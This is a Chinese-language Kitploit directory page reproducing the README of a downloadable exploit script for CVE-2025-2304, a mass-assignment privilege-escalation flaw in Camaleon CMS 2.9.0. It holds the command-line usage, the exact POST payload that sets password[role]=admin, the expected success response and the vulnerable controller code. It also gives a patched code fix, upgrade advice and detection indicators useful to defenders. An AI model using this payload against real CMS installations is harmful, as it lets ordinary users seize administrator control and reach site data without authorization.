Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2304 — 此 Python 脚本利用了 Camaleon CMS 2.9.0 版本中的一个严重批量赋值漏洞,允许任何注册用户将自身权限提升为管理员。 | Kitploit
工具/GitHubGitHub/csuribird/cve-2025-2304
身份验证与授权权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试错误配置学习与教育
GitHubcsuribird/cve-2025-2304

CVE-2025-2304

此 Python 脚本利用了 Camaleon CMS 2.9.0 版本中的一个严重批量赋值漏洞,允许任何注册用户将自身权限提升为管理员。

查看仓库
516个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2304 - Camaleon CMS 2.9.0 - 权限提升漏洞利用

概述

该 Python 脚本利用了 Camaleon CMS 2.9.0 版本中的一个严重批量赋值(Mass Assignment)漏洞,允许任何已注册用户将其权限提升为管理员。

漏洞详情

  • CVE:CVE-2025-2304 - UsersController#updated_ajax 中的批量赋值漏洞
  • 受影响版本:Camaleon CMS 2.9.0
  • 严重程度:严重
  • 攻击向量:updated_ajax 操作中的 permit! 方法允许所有参数不经过滤直接通过,包括 role 参数

漏洞利用原理

  1. 身份验证:脚本首先以普通注册用户身份登录
  2. 漏洞利用:它向 /admin/users/[id]/updated_ajax 发送带有恶意负载的 POST 请求:(在脚本中,我使用了 id 5,因为这通常是自动分配的那个 id。该 id 可能需要更改。)
    • password[role]=admin - 该参数本应被过滤,但由于 permit! 而未被过滤
    • password[password] 和 password[password_confirmation] - 更新用户密码(当具有 client 角色的普通用户更新其个人资料时,技术上来说是 user[role]=client,但由于我们在这里利用的是 change password 功能所导致的漏洞,因此将是 password[role]=admin。)
  3. 权限提升:用户的角色从普通用户更改为管理员
  4. 验证:脚本尝试访问仅限管理员的端点以确认是否成功

安装

root@kitploit:~
pip install -r requirements.txt

使用方法

root@kitploit:~
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword

可选参数

  • --new-password:在漏洞利用过程中设置新密码(默认为当前密码)

示例

root@kitploit:~
python camaleon_cms_privilege_escalation.py \
    --url http://192.168.1.100 \
    --username testuser \
    --password testpass123 \
    --new-password newadminpass

技术细节

漏洞代码位置

该漏洞存在于 UsersController 的 updated_ajax 方法中:

root@kitploit:~
def updated_ajax
  # Vulnerable code - uses permit! instead of specific parameter filtering
  @user.update(params.require(:user).permit!)
  # This allows ANY parameter to be mass-assigned, including role
end

恶意负载

root@kitploit:~
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded

password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch

预期响应

root@kitploit:~
{
  "success": true,
  "message": "User updated successfully"
}

影响

  • 权限提升:普通用户可以获取管理员访问权限
  • 系统完全沦陷:管理员访问权限可完全控制 CMS
  • 数据泄露:可访问所有用户数据和内容
  • 持久化:能够创建后门并保持访问权限

缓解措施

对于开发者

将易受攻击的 permit! 方法替换为显式参数过滤:

root@kitploit:~
def updated_ajax
  @user.update(params.require(:user).permit(:password, :password_confirmation, :email))
  # Explicitly exclude: role parameter
end

对于系统管理员

  1. 升级到已修补的 Camaleon CMS 版本(2.9.1)
  2. 实施基于角色的访问控制
  3. 添加输入验证和参数过滤
  4. 监控可疑的权限提升尝试

法律免责声明

此脚本仅用于教育和经授权的安全测试目的。请勿在您不拥有或未经明确许可测试的系统上使用此漏洞利用程序。作者不对因使用此工具而造成的任何误用或损害负责。

检测方法

安全团队可以通过监控以下内容来检测漏洞利用尝试:

  • 带有 password[role] 参数的指向 /admin/users/[id]/updated_ajax 的 POST 请求
  • 用户账户中意外的角色变更
  • 审计日志中的权限提升模式

参考资料

  • 批量赋值漏洞文档
  • Ruby on Rails 安全指南
  • Camaleon CMS 安全公告
下载工具